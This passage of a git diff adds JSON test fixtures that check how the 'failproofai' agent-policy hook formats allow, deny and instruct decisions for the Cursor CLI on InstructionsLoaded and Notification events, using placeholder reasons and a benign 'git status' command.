"InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4543d762 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3dbd4080 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c544992d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4d89cef6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a9ab2de6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bb841f28 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..9eeb1812 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..162070ce --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f704f9d8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dcf4ed1c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0d55730b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a1c1c023 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5e2e5515 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fc04ea69 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d2cd161e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a42ed62b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f3885b18 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__two-policies.json 